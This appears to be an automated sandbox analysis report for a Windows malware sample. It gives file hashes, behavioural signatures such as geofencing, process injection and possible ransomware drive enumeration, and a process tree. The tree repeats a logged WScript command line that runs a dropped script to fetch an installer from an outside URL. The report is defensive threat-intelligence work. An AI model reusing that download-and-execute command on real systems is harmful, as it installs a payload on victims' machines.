Analysis
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max time kernel
100s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
04/12/2022, 14:06
Static task
static1
Behavioral task
behavioral1
Sample
af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe
Resource
win10v2004-20220812-en
General
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Target
af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe
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Size
184KB
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MD5
83dc905cc166a8dd7f69d70a83538e50
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SHA1
12931ded40b5cf6a7a5afcf037f9f4f47483eba4
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SHA256
af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1
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SHA512
5c8612988d4a1338e4970ffc1fe0694a0840ab763146f8c04204cb20d0947ad94f80ae35cf084978c561dc82d3cc43dbf4c221fa34162ee999d1e3b303d4b70f
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3N:/7BSH8zUB+nGESaaRvoB7FJNndnM
Malware Config
Signatures
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Blocklisted process makes network request 10 IoCs
flow pid Process 6 4196 WScript.exe 7 4196 WScript.exe 8 5060 WScript.exe 9 5060 WScript.exe 14 3296 WScript.exe 15 3296 WScript.exe 16 1348 WScript.exe 17 1348 WScript.exe 24 3492 WScript.exe 25 3492 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 1152 4800 WerFault.exe 80 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 14 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 16 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 24 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4800 wrote to memory of 4196 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 81 PID 4800 wrote to memory of 4196 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 81 PID 4800 wrote to memory of 4196 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 81 PID 4800 wrote to memory of 5060 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 82 PID 4800 wrote to memory of 5060 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 82 PID 4800 wrote to memory of 5060 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 82 PID 4800 wrote to memory of 3296 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 83 PID 4800 wrote to memory of 3296 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 83 PID 4800 wrote to memory of 3296 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 83 PID 4800 wrote to memory of 1348 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 84 PID 4800 wrote to memory of 1348 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 84 PID 4800 wrote to memory of 1348 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 84 PID 4800 wrote to memory of 3492 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 87 PID 4800 wrote to memory of 3492 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 87 PID 4800 wrote to memory of 3492 4800 af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe 87
Processes
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C:\Users\Admin\AppData\Local\Temp\af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe"C:\Users\Admin\AppData\Local\Temp\af082c7daced6b11c17d0fbb360bc05d0e96f5cc385d75813bb1ef8c9ca215f1.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D47.js" http://www.djapp.info/?domain=ltsNWwBKoh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3D47.exe2⤵
- Blocklisted process makes network request
PID:4196
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D47.js" http://www.djapp.info/?domain=ltsNWwBKoh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3D47.exe2⤵
- Blocklisted process makes network request
PID:5060
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D47.js" http://www.djapp.info/?domain=ltsNWwBKoh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3D47.exe2⤵
- Blocklisted process makes network request
PID:3296
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D47.js" http://www.djapp.info/?domain=ltsNWwBKoh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3D47.exe2⤵
- Blocklisted process makes network request
PID:1348
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3D47.js" http://www.djapp.info/?domain=ltsNWwBKoh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3D47.exe2⤵
- Blocklisted process makes network request
PID:3492
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 15082⤵
- Program crash
PID:1152
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4800 -ip 48001⤵PID:2924
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76